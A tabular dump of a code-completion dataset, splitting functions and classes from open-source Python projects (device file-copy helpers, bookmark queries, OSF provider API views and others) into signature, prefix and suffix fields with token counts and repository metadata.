uid stringlengths 24 24 | split stringclasses 1
value | category stringclasses 2
values | content stringlengths 5 482k | signature stringlengths 1 14k | suffix stringlengths 1 482k | prefix stringlengths 9 14k | prefix_token_count int64 3 5.01k | prefix_token_budget int64 64 256 | element_token_count int64 1 292k | signature_token_count int64 1 5.01k | prefix_context_token_count int64 0 255 | repo stringlengths 7 112 | path stringlengths 4 208 | language stringclasses 1
value | name stringlengths 1 218 | qualname stringlengths 1 218 | start_line int64 1 26.7k | end_line int64 1 26.7k | signature_start_line int64 1 26.7k | signature_end_line int64 1 26.7k | source_hash stringlengths 40 40 | source_dataset stringclasses 1
value | source_split stringclasses 1
value |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
569b320051d980396009dc9b | train | class | class Worker(Thread):
def __init__(self, device, client: cc_lib.client.Client, zway: Zway):
super().__init__(name="worker-{}".format(device.id), daemon=True)
self.__device = device
self.__client = client
self.__zway = zway
self.__stop = False
self.__command_queue = Qu... | class Worker(Thread):
| def __init__(self, device, client: cc_lib.client.Client, zway: Zway):
super().__init__(name="worker-{}".format(device.id), daemon=True)
self.__device = device
self.__client = client
self.__zway = zway
self.__stop = False
self.__command_queue = Queue()
def run(sel... | .apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and... | 141 | 141 | 472 | 4 | 137 | SENERGY-Platform/zway-connector-rest | zway/controller.py | Python | Worker | Worker | 30 | 81 | 30 | 30 | 21e41380537649d52324d1716856569ef874a17d | bigcode/the-stack | train |
a8ab27293b95cf0da4c9152b | train | class | class MakeOutline:
"""
The first and basic step in every oultine
ASSUMES THAT DATA ARE UP-TO-DATE!
Iterates over army troops for given outline,
calculates offs, nobles etc. for every line, then create WeightMaximum object
Finally bulk_create given list with WeightMaximums
"""
def __i... | class MakeOutline:
| """
The first and basic step in every oultine
ASSUMES THAT DATA ARE UP-TO-DATE!
Iterates over army troops for given outline,
calculates offs, nobles etc. for every line, then create WeightMaximum object
Finally bulk_create given list with WeightMaximums
"""
def __init__(self, outline... | Safin (rafsaf). All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | 165 | 165 | 552 | 4 | 160 | rafsaf/Tribal-Wars-Planer | utils/outline_initial.py | Python | MakeOutline | MakeOutline | 23 | 80 | 23 | 23 | 2329bafc1e1e2d38cf4c428ce9deb47b88bd89bd | bigcode/the-stack | train |
9e035f892bc42ccd9ef2d396 | train | function | def main():
parser = cli.Parser()
parser.add_optional_arguments(cli.Argument.ESX_IP)
args = parser.get_args()
si = service_instance.connect(args)
# "vmware.host." prefix is required when using VC
location = "vmware.host." + args.esx_ip
services = si.content.serviceManager.QueryServiceList(... | def main():
| parser = cli.Parser()
parser.add_optional_arguments(cli.Argument.ESX_IP)
args = parser.get_args()
si = service_instance.connect(args)
# "vmware.host." prefix is required when using VC
location = "vmware.host." + args.esx_ip
services = si.content.serviceManager.QueryServiceList(
loc... | #!/usr/bin/env python
from tools import cli, service_instance
"""
Example of fonnecting to the vScsiStats service provided
by vCenter Server's Service Manager
"""
__author__ = 'William Lam'
# Start program
def main():
| 53 | 64 | 170 | 3 | 49 | ArpitSharma2800/pyvmomi-community-samples | samples/service_manager_vscsistats_in_vc.py | Python | main | main | 14 | 35 | 14 | 14 | 1f707bc4590fcce6ac1eb30508da82c2ec6fcb6d | bigcode/the-stack | train |
d4a04c2fa62a0b073e11b074 | train | function | def copy_to_device(device,
remote_path,
local_path=None,
server=None,
protocol='http',
vrf=None,
timeout=300,
compact=False,
use_kstack=False,
fu=Non... | def copy_to_device(device,
remote_path,
local_path=None,
server=None,
protocol='http',
vrf=None,
timeout=300,
compact=False,
use_kstack=False,
fu=Non... | """
Copy file from linux server to the device.
Args:
device (Device): Device object
remote_path (str): remote file path on the server
local_path (str): local file to copy to on the device (default: None)
server (str): hostname or address of the server (default: None)
... | """Base functions for NXOS ACI"""
# Python
import os
import re
import pathlib
import logging
from datetime import datetime
from unicon.eal.dialogs import Dialog
from pyats.utils.fileutils import FileUtils
from pyats.utils.secret_strings import to_plaintext
from genie.libs.sdk.apis.utils import slugify
from genie.li... | 146 | 256 | 1,208 | 57 | 89 | jbronikowski/genielibs | pkgs/sdk-pkg/src/genie/libs/sdk/apis/nxos/aci/utils.py | Python | copy_to_device | copy_to_device | 22 | 179 | 22 | 33 | 9bc810849b2739be741b1467e3eefbe9233522ca | bigcode/the-stack | train |
1ec3c468a04db80669496fdf | train | function | def copy_from_device(device,
local_path,
remote_path=None,
server=None,
protocol='http',
vrf=None,
timeout=300,
timestamp=False,
http_auth=True,
... | def copy_from_device(device,
local_path,
remote_path=None,
server=None,
protocol='http',
vrf=None,
timeout=300,
timestamp=False,
http_auth=True,
... | """
Copy a file from the device to the server or local system (where the script is running).
Local system copy uses HTTP and is only supported via telnet or SSH sessions.
Args:
device (Device): device object
local_path (str): local path from the device (path including filename)
... | http', {}).get('password', ''))
cmd += ' -u {}:{}'.format(username, password)
if mgmt_src_ip and proxy_port:
cmd += ' http://{}:{}/{}'.format(mgmt_src_ip, proxy_port, remote_path)
elif mgmt_src_ip:
cmd += ' http://{}:{}/{}'.format(mgmt_src_ip, local_port, remote_path... | 256 | 256 | 1,174 | 47 | 208 | jbronikowski/genielibs | pkgs/sdk-pkg/src/genie/libs/sdk/apis/nxos/aci/utils.py | Python | copy_from_device | copy_from_device | 182 | 326 | 182 | 191 | 2f49d4f8880dd229bcbb786f85bf5e03b1071155 | bigcode/the-stack | train |
d3940d53440eeec47b428011 | train | function | def get_mgmt_src_ip_addresses(device):
""" Get the source IP addresses connected via SSH to the device.
Returns:
List of IP addresses or []
"""
output = device.execute('ifconfig eth0')
# inet addr:172.1.1.2 Bcast:172.1.1.255 Mask:255.255.255.0
m = re.search(r'inet addr:(\S+)', outp... | def get_mgmt_src_ip_addresses(device):
| """ Get the source IP addresses connected via SSH to the device.
Returns:
List of IP addresses or []
"""
output = device.execute('ifconfig eth0')
# inet addr:172.1.1.2 Bcast:172.1.1.255 Mask:255.255.255.0
m = re.search(r'inet addr:(\S+)', output)
if m:
mgmt_ip = m.group... | (vrf)
try:
device.execute(cmd, reply=copy_dialog, timeout=timeout, append_error_pattern=[r'%\s*Error', r'%\s*Invalid'])
except Exception:
log.error('Failed to transfer file', exc_info=True)
return False
return True
def get_mgmt_src_ip_addresses(device):
| 72 | 72 | 242 | 9 | 62 | jbronikowski/genielibs | pkgs/sdk-pkg/src/genie/libs/sdk/apis/nxos/aci/utils.py | Python | get_mgmt_src_ip_addresses | get_mgmt_src_ip_addresses | 329 | 349 | 329 | 329 | 3cbd32add7c8268eed2b70ae8ceaaf06af850cfb | bigcode/the-stack | train |
721cc28791f6b983d8ae7989 | train | function | def _get_standard_colors(
num_colors=None, colormap=None, color_type="default", color=None
):
import matplotlib.pyplot as plt
if color is None and colormap is not None:
if isinstance(colormap, str):
cmap = colormap
colormap = cm.get_cmap(colormap)
if colormap is ... | def _get_standard_colors(
num_colors=None, colormap=None, color_type="default", color=None
):
| import matplotlib.pyplot as plt
if color is None and colormap is not None:
if isinstance(colormap, str):
cmap = colormap
colormap = cm.get_cmap(colormap)
if colormap is None:
raise ValueError("Colormap {0} is not recognized".format(cmap))
colo... | #
# This file is taken from https://github.com/pandas-dev/pandas as suggested by
# the pandas-dev mailing list. The goal is to ask the matplotlib devs to
# eventually incorporate this into matplotlib proper.
#
# being a bit too dynamic
import warnings
import matplotlib.cm as cm
import matplotlib.colors
import numpy a... | 114 | 207 | 692 | 24 | 89 | macflo8/pyam | pyam/_style.py | Python | _get_standard_colors | _get_standard_colors | 19 | 102 | 19 | 21 | 10700079881adc639ca3373b0e29c12fdfa93419 | bigcode/the-stack | train |
a531ea10624279dcfc5cf1ab | train | function | def test_net(tester, input_pose, det_range, gpu_id):
dump_results = []
start_time = time.time()
img_start = det_range[0]
img_id = 0
img_id2 = 0
pbar = tqdm(total=det_range[1] - img_start - 1, position=gpu_id)
pbar.set_description("GPU %s" % str(gpu_id))
while img_start < de... | def test_net(tester, input_pose, det_range, gpu_id):
| dump_results = []
start_time = time.time()
img_start = det_range[0]
img_id = 0
img_id2 = 0
pbar = tqdm(total=det_range[1] - img_start - 1, position=gpu_id)
pbar.set_description("GPU %s" % str(gpu_id))
while img_start < det_range[1]:
img_end = img_start + 1
im... | import os
import os.path as osp
import numpy as np
import argparse
from config import cfg
import cv2
import sys
import time
import json
from PIL import Image
import matplotlib.pyplot as plt
import pickle
from tqdm import tqdm
import math
import tensorflow as tf
from tfflat.base import Tester
from tf... | 121 | 256 | 1,913 | 15 | 105 | ducky777/PoseFix_RELEASE | main/test.py | Python | test_net | test_net | 26 | 172 | 26 | 27 | 8ae2008937af775e5193797a7298aaa75705d222 | bigcode/the-stack | train |
f1c588222fa8cbf3057152dc | train | function | def test(test_model):
# annotation load
d = Dataset()
annot = d.load_annot(cfg.testset)
# input pose load
input_pose = d.input_pose_load(annot, cfg.testset)
# job assign (multi-gpu)
from tfflat.mp_utils import MultiProc
img_start = 0
ranges = [0]
img_num =... | def test(test_model):
# annotation load
| d = Dataset()
annot = d.load_annot(cfg.testset)
# input pose load
input_pose = d.input_pose_load(annot, cfg.testset)
# job assign (multi-gpu)
from tfflat.mp_utils import MultiProc
img_start = 0
ranges = [0]
img_num = len(np.unique([i['image_id'] for i in input_pose]))... | 0, scores=score_result[i].round(4).tolist(),
keypoints=kps_result[i].round(3).tolist())
elif cfg.dataset == 'MPII':
result = dict(image_id=im_info['image_id'], scores=score_result[i].round(4).tolist(),
keypoints=kps_result[i].ro... | 99 | 99 | 332 | 11 | 87 | ducky777/PoseFix_RELEASE | main/test.py | Python | test | test | 175 | 209 | 175 | 177 | e977ebebe88a4c0d209015964bd9f8acf3688d37 | bigcode/the-stack | train |
20c424abdcc26588c3f7edf9 | train | class | class GoogleCloudTest(unittest.TestCase):
@mock.patch.object(gcp, 'execute_gcloud_command', autospec=True)
def test_project_configuration_gcloud(self, mock_execute_gcloud_command):
"""Tests gcloud commands."""
gcp.get_gcp_configuration(gcp.Commands.GET_APIS)
mock_execute_gcloud_command.... | class GoogleCloudTest(unittest.TestCase):
@mock.patch.object(gcp, 'execute_gcloud_command', autospec=True)
| def test_project_configuration_gcloud(self, mock_execute_gcloud_command):
"""Tests gcloud commands."""
gcp.get_gcp_configuration(gcp.Commands.GET_APIS)
mock_execute_gcloud_command.assert_called_once_with(
['services', 'list'], project_id=None, human_readable=False)
@mock.pat... | Authors. All Rights Reserved.
#
# Licensed under the Apache License,Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | 187 | 187 | 626 | 26 | 160 | RonsenbergVI/pipelines | sdk/python/kfp/cli/diagnose_me/gcp_test.py | Python | GoogleCloudTest | GoogleCloudTest | 24 | 83 | 24 | 26 | d391f5f5950b90ee8a965df09e1142920315a8a6 | bigcode/the-stack | train |
8a4155e8759bbddca3c187f7 | train | function | def _parse_query_string(query_string):
# Sanitize query params
if not query_string:
query_string = ''
# Split query into search terms and tags
keywords = query_string.strip().split(' ')
keywords = [word for word in keywords if word]
search_terms = [word for word in keywords if word[0] ... | def _parse_query_string(query_string):
# Sanitize query params
| if not query_string:
query_string = ''
# Split query into search terms and tags
keywords = query_string.strip().split(' ')
keywords = [word for word in keywords if word]
search_terms = [word for word in keywords if word[0] != '#']
tag_names = [word[1:] for word in keywords if word[0] =... | (bookmark__website_description__contains=term)
)
for tag_name in query['tag_names']:
query_set = query_set.filter(
bookmark__tags__name=tag_name
)
return query_set.distinct()
def _parse_query_string(query_string):
# Sanitize query params
| 64 | 64 | 118 | 15 | 49 | patoroco/linkding | bookmarks/queries.py | Python | _parse_query_string | _parse_query_string | 78 | 93 | 78 | 79 | 59a830b7b9ef754b2788fb688d1700b8d3f2be9e | bigcode/the-stack | train |
30cfdaa3aac2bf4989d0145d | train | function | def query_bookmarks(user: User, query_string: str):
# Add aggregated tag info to bookmark instances
query_set = Bookmark.objects \
.annotate(tag_count=Count('tags'),
tag_string=Concat('tags__name'),
tag_projection=Value(True, BooleanField()))
# Filter for user
... | def query_bookmarks(user: User, query_string: str):
# Add aggregated tag info to bookmark instances
| query_set = Bookmark.objects \
.annotate(tag_count=Count('tags'),
tag_string=Concat('tags__name'),
tag_projection=Value(True, BooleanField()))
# Filter for user
query_set = query_set.filter(owner=user)
# Split query into search terms and tags
query = _pa... | expression, distinct=False, **extra):
super(Concat, self).__init__(
expression,
distinct='DISTINCT ' if distinct else '',
output_field=CharField(),
**extra)
def query_bookmarks(user: User, query_string: str):
# Add aggregated tag info to bookmark instances
| 64 | 64 | 216 | 23 | 41 | patoroco/linkding | bookmarks/queries.py | Python | query_bookmarks | query_bookmarks | 19 | 49 | 19 | 20 | 39dec71133907d62821eb775d26bc8831cd17979 | bigcode/the-stack | train |
54dc5b68e5c3aa158c68fdf3 | train | class | class Concat(Aggregate):
function = 'GROUP_CONCAT'
template = '%(function)s(%(distinct)s%(expressions)s)'
def __init__(self, expression, distinct=False, **extra):
super(Concat, self).__init__(
expression,
distinct='DISTINCT ' if distinct else '',
output_field=Cha... | class Concat(Aggregate):
| function = 'GROUP_CONCAT'
template = '%(function)s(%(distinct)s%(expressions)s)'
def __init__(self, expression, distinct=False, **extra):
super(Concat, self).__init__(
expression,
distinct='DISTINCT ' if distinct else '',
output_field=CharField(),
**e... | from django.contrib.auth.models import User
from django.db.models import Q, Count, Aggregate, CharField, Value, BooleanField
from bookmarks.models import Bookmark, Tag
class Concat(Aggregate):
| 42 | 64 | 80 | 7 | 34 | patoroco/linkding | bookmarks/queries.py | Python | Concat | Concat | 7 | 16 | 7 | 7 | 8b8c00e59f39e74a6a0cda0edfad9178cbc2097a | bigcode/the-stack | train |
8f1a5e7f893aa0476df4be50 | train | function | def query_tags(user: User, query_string: str):
query_set = Tag.objects
# Filter for user
query_set = query_set.filter(owner=user)
# Split query into search terms and tags
query = _parse_query_string(query_string)
# Filter for search terms and tags
for term in query['search_terms']:
... | def query_tags(user: User, query_string: str):
| query_set = Tag.objects
# Filter for user
query_set = query_set.filter(owner=user)
# Split query into search terms and tags
query = _parse_query_string(query_string)
# Filter for search terms and tags
for term in query['search_terms']:
query_set = query_set.filter(
Q(b... | for tag_name in query['tag_names']:
query_set = query_set.filter(
tags__name=tag_name
)
# Sort by modification date
query_set = query_set.order_by('-date_modified')
return query_set
def query_tags(user: User, query_string: str):
| 64 | 64 | 169 | 12 | 51 | patoroco/linkding | bookmarks/queries.py | Python | query_tags | query_tags | 52 | 75 | 52 | 52 | 27718031d4d948087fa063351dce1fe5cbd8b188 | bigcode/the-stack | train |
c5d3d86319a0f2ee63823b20 | train | class | class ProviderMixin:
provider_class = None
def get_provider(self):
# used in perms class
assert self.provider_class is not None, 'must define provider class to use ProviderMixin'
if self.kwargs.get('provider_id'):
return get_object_or_error(
self.provider_c... | class ProviderMixin:
| provider_class = None
def get_provider(self):
# used in perms class
assert self.provider_class is not None, 'must define provider class to use ProviderMixin'
if self.kwargs.get('provider_id'):
return get_object_or_error(
self.provider_class,
... | printRequest,
PreprintProvider,
WhitelistedSHAREPreprintProvider,
NodeRequest,
Registration,
)
from osf.utils.permissions import REVIEW_PERMISSIONS, ADMIN
from osf.utils.workflows import RequestTypes
from osf.metrics import PreprintDownload, PreprintView
class ProviderMixin:
| 64 | 64 | 133 | 4 | 59 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | ProviderMixin | ProviderMixin | 58 | 80 | 58 | 59 | 61cbffc1feec8d3409fb0e15fc113cc039a251bc | bigcode/the-stack | train |
14dbd4924d5efa835e74e882 | train | class | class RegistrationProviderRegistrationList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
ordering = ('-creat... | class RegistrationProviderRegistrationList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
| provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
ordering = ('-created')
serializer_class = RegistrationSerializer
required_read_scopes = [CoreScopes.NODE_REGISTRATIONS_READ... | _class = RegistrationSchemaSerializer
def get_default_queryset(self):
return self.get_provider().schemas.get_latest_versions(request=self.request, invisible=True).filter(active=True)
def get_queryset(self):
return self.get_queryset_from_request()
class RegistrationProviderRegistrationList(JSON... | 70 | 70 | 234 | 22 | 48 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderRegistrationList | RegistrationProviderRegistrationList | 693 | 730 | 693 | 693 | 40b1586ec10ba4e8b4b30455559247f123a43b21 | bigcode/the-stack | train |
e799684e7c91111988159e54 | train | class | class PreprintProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
"""
To be deprecated: In favor of PreprintProviderHighlightedSubjectList
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider
max_version = '2.14'
| class PreprintProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
| """
To be deprecated: In favor of PreprintProviderHighlightedSubjectList
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider
max_version = '2.14'
| List):
"""
To be deprecated: In favor of RegistrationProviderHighlightedSubjectList
"""
view_category = 'registration-providers'
provider_class = RegistrationProvider
max_version = '2.14'
class PreprintProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
| 64 | 64 | 65 | 19 | 45 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderHighlightedTaxonomyList | PreprintProviderHighlightedTaxonomyList | 336 | 343 | 336 | 336 | 2648dbd451405cb07fc77031936e41585ca4e36d | bigcode/the-stack | train |
6288a24b13bc0e409b8ebfe6 | train | class | class RegistrationProviderModeratorsDetail(ProviderModeratorsDetail):
provider_type = RegistrationProvider
serializer_class = RegistrationModeratorSerializer
view_category = 'registration-providers'
| class RegistrationProviderModeratorsDetail(ProviderModeratorsDetail):
| provider_type = RegistrationProvider
serializer_class = RegistrationModeratorSerializer
view_category = 'registration-providers'
| = PreprintModeratorSerializer
view_category = 'preprint-providers'
class RegistrationProviderModeratorsList(ProviderModeratorsList):
provider_type = RegistrationProvider
serializer_class = RegistrationModeratorSerializer
view_category = 'registration-providers'
class RegistrationProviderModeratorsD... | 64 | 64 | 36 | 12 | 52 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderModeratorsDetail | RegistrationProviderModeratorsDetail | 665 | 669 | 665 | 665 | f5b8f575ce17dabf1c5462d4038ec3d1a3adc6c2 | bigcode/the-stack | train |
f07e35fa60c7515da42f874b | train | class | class PreprintProviderList(MetricsViewMixin, GenericProviderList):
"""The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_list).
"""
model_class = PreprintProvider
serializer_class = PreprintProviderSerializer
view_category = 'preprint-provi... | class PreprintProviderList(MetricsViewMixin, GenericProviderList):
| """The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_list).
"""
model_class = PreprintProvider
serializer_class = PreprintProviderSerializer
view_category = 'preprint-providers'
view_name = 'preprint-providers-list'
metric_map = {
... | )
def get_default_queryset(self):
return self.model_class.objects.all()
# overrides ListAPIView
def get_queryset(self):
return self.get_queryset_from_request()
class CollectionProviderList(GenericProviderList):
model_class = CollectionProvider
serializer_class = CollectionProvid... | 134 | 134 | 449 | 14 | 120 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderList | PreprintProviderList | 117 | 164 | 117 | 117 | 651826feac3a1fa30db37d296c9ec1ce1e632395 | bigcode/the-stack | train |
e51d3f005f28d1334393d3ab | train | class | class PreprintProviderModeratorsDetail(ProviderModeratorsDetail):
provider_type = PreprintProvider
serializer_class = PreprintModeratorSerializer
view_category = 'preprint-providers'
| class PreprintProviderModeratorsDetail(ProviderModeratorsDetail):
| provider_type = PreprintProvider
serializer_class = PreprintModeratorSerializer
view_category = 'preprint-providers'
| Error as e:
raise ValidationError(str(e))
class PreprintProviderModeratorsList(ProviderModeratorsList):
provider_type = PreprintProvider
serializer_class = PreprintModeratorSerializer
view_category = 'preprint-providers'
class PreprintProviderModeratorsDetail(ProviderModeratorsDetail):
| 64 | 64 | 40 | 13 | 51 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | PreprintProviderModeratorsDetail | PreprintProviderModeratorsDetail | 651 | 655 | 651 | 651 | 45f270865ee6ea35544440ca178bf61e53c9f3c0 | bigcode/the-stack | train |
e35d2950bf78900eb5324143 | train | class | class RegistrationProviderSchemaList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
view_category = 'registration-providers'
... | class RegistrationProviderSchemaList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
| provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
view_category = 'registration-providers'
view_name = 'registration-schema-list'
required_read_scopes = [CoreScopes.SCHEMA_READ]
required_... | = 'registration-providers'
class RegistrationProviderModeratorsDetail(ProviderModeratorsDetail):
provider_type = RegistrationProvider
serializer_class = RegistrationModeratorSerializer
view_category = 'registration-providers'
class RegistrationProviderSchemaList(JSONAPIBaseView, generics.ListAPIView, Li... | 64 | 64 | 146 | 22 | 42 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderSchemaList | RegistrationProviderSchemaList | 672 | 690 | 672 | 672 | eaa299da3fe7d0dbf1e2d9edaf9060b6ee7427af | bigcode/the-stack | train |
be3a9c7966216583d7621a10 | train | class | class GenericProviderLicenseList(LicenseList):
"""The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_licenses_list)
"""
ordering = () # TODO: should be ordered once the frontend for selecting default licenses no longer relies on order
def get_... | class GenericProviderLicenseList(LicenseList):
| """The documentation for this endpoint can be found [here](https://developer.osf.io/#operation/preprint_provider_licenses_list)
"""
ordering = () # TODO: should be ordered once the frontend for selecting default licenses no longer relies on order
def get_default_queryset(self):
"""
Ret... | _class = CollectionProvider
class RegistrationProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
view_category = 'registration-providers'
provider_class = RegistrationProvider
class PreprintProviderHighlightedSubjectList(GenericProviderHighlightedSubjectList):
view_category = 'prepri... | 73 | 73 | 245 | 9 | 63 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | GenericProviderLicenseList | GenericProviderLicenseList | 366 | 395 | 366 | 366 | 3f6322741de6da092b549613f7ebc7fe700e4661 | bigcode/the-stack | train |
76193ecebf441187a6475eb2 | train | class | class BaseProviderSubjects(SubjectList):
pagination_class = IncreasedPageSizePagination
view_name = 'subject-list'
def get_default_queryset(self):
parent = self.request.query_params.get('filter[parent]', None)
provider = get_object_or_error(self.provider_class, self.kwargs['provider_id'], s... | class BaseProviderSubjects(SubjectList):
| pagination_class = IncreasedPageSizePagination
view_name = 'subject-list'
def get_default_queryset(self):
parent = self.request.query_params.get('filter[parent]', None)
provider = get_object_or_error(self.provider_class, self.kwargs['provider_id'], self.request, display_name=self.provider_c... | To be deprecated: In favor of PreprintProviderSubjects
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider # Not actually the model being serialized, privatize to avoid issues
max_version = '2.14'
class BaseProviderSubjects(SubjectList):
| 64 | 64 | 120 | 8 | 56 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | BaseProviderSubjects | BaseProviderSubjects | 267 | 278 | 267 | 267 | aa8af541e1b4ffbb90445845fbc0cc45b6449e53 | bigcode/the-stack | train |
0b8ee8ef8e3f181e44a9be8e | train | class | class RegistrationProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
"""
To be deprecated: In favor of RegistrationProviderHighlightedSubjectList
"""
view_category = 'registration-providers'
provider_class = RegistrationProvider
max_version = '2.14'
| class RegistrationProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
| """
To be deprecated: In favor of RegistrationProviderHighlightedSubjectList
"""
view_category = 'registration-providers'
provider_class = RegistrationProvider
max_version = '2.14'
| onomyList):
"""
To be deprecated: In favor of CollectionProviderHighlightedSubjectList
"""
view_category = 'collection-providers'
provider_class = CollectionProvider
max_version = '2.14'
class RegistrationProviderHighlightedTaxonomyList(DeprecatedView, GenericProviderHighlightedTaxonomyList):
| 64 | 64 | 61 | 18 | 46 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderHighlightedTaxonomyList | RegistrationProviderHighlightedTaxonomyList | 326 | 333 | 326 | 326 | f55b8e4fa3f53e5e381cd4d54866fdf4a24bc63c | bigcode/the-stack | train |
537d95195d6cec2a9aa556c1 | train | class | class GenericProviderList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
required_write_scopes = [CoreScopes.NULL]
paginat... | class GenericProviderList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin):
| permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
required_write_scopes = [CoreScopes.NULL]
pagination_class = MaxSizePagination
ordering = ('name', )
def get_default_querys... | if self.kwargs.get('node_id'):
return get_object_or_error(
AbstractNode,
self.kwargs['node_id'],
self.request,
display_name=AbstractNode.__name__,
).provider
class GenericProviderList(JSONAPIBaseView, generics.ListAPIView, L... | 64 | 64 | 116 | 18 | 45 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | GenericProviderList | GenericProviderList | 83 | 100 | 83 | 83 | 11ff1077b4a40cc00ba32a12a7bf24a3b0721159 | bigcode/the-stack | train |
75a08301ebdd948c86f7ffe0 | train | class | class RegistrationProviderTaxonomies(DeprecatedView, GenericProviderTaxonomies):
"""
To be deprecated: In favor of RegistrationProviderSubjects
"""
view_category = 'registration-providers'
provider_class = RegistrationProvider # Not actually the model being serialized, privatize to avoid issues
... | class RegistrationProviderTaxonomies(DeprecatedView, GenericProviderTaxonomies):
| """
To be deprecated: In favor of RegistrationProviderSubjects
"""
view_category = 'registration-providers'
provider_class = RegistrationProvider # Not actually the model being serialized, privatize to avoid issues
max_version = '2.14'
| deprecated: In favor of CollectionProviderSubjects
"""
view_category = 'collection-providers'
provider_class = CollectionProvider # Not actually the model being serialized, privatize to avoid issues
max_version = '2.14'
class RegistrationProviderTaxonomies(DeprecatedView, GenericProviderTaxonomies):
| 64 | 64 | 69 | 14 | 50 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderTaxonomies | RegistrationProviderTaxonomies | 248 | 255 | 248 | 248 | 91f91c7e8acfeeeb1148552c89fd658ab0b7848c | bigcode/the-stack | train |
1725e824cacedc4d5c545269 | train | class | class RegistrationProviderActionList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
view_category = 'actions'... | class RegistrationProviderActionList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, ProviderMixin):
| provider_class = RegistrationProvider
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
MustBeModerator,
)
view_category = 'actions'
view_name = 'registration-provider-action-list'
required_read_scopes = [CoreScopes.ACTIONS_READ]
... | return NodeRequest.objects.filter(
target__provider_id=self.get_provider().id,
target__deleted__isnull=True,
)
def get_queryset(self):
return self.get_queryset_from_request()
class RegistrationProviderActionList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, Provid... | 64 | 64 | 156 | 22 | 42 | UdayVarkhedkar/osf.io | api/providers/views.py | Python | RegistrationProviderActionList | RegistrationProviderActionList | 758 | 781 | 758 | 758 | 572638af15c05160e25fa2d9a1e3b2209cd48db5 | bigcode/the-stack | train |
7bf51e4a0b2b20964bb2fa65 | train | class | class GenericProviderHighlightedTaxonomyList(JSONAPIBaseView, generics.ListAPIView):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
view_name = 'highlighted-taxonomy-list'
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
require... | class GenericProviderHighlightedTaxonomyList(JSONAPIBaseView, generics.ListAPIView):
| permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
view_name = 'highlighted-taxonomy-list'
required_read_scopes = [CoreScopes.ALWAYS_PUBLIC]
required_write_scopes = [CoreScopes.NULL]
serializer_class = TaxonomySerializer
de... | developer.osf.io/#operation/preprint_provider_subjects_list).
"""
view_category = 'preprint-providers'
provider_class = PreprintProvider # Not actually the model being serialized, privatize to avoid issues
class GenericProviderHighlightedTaxonomyList(JSONAPIBaseView, generics.ListAPIView):
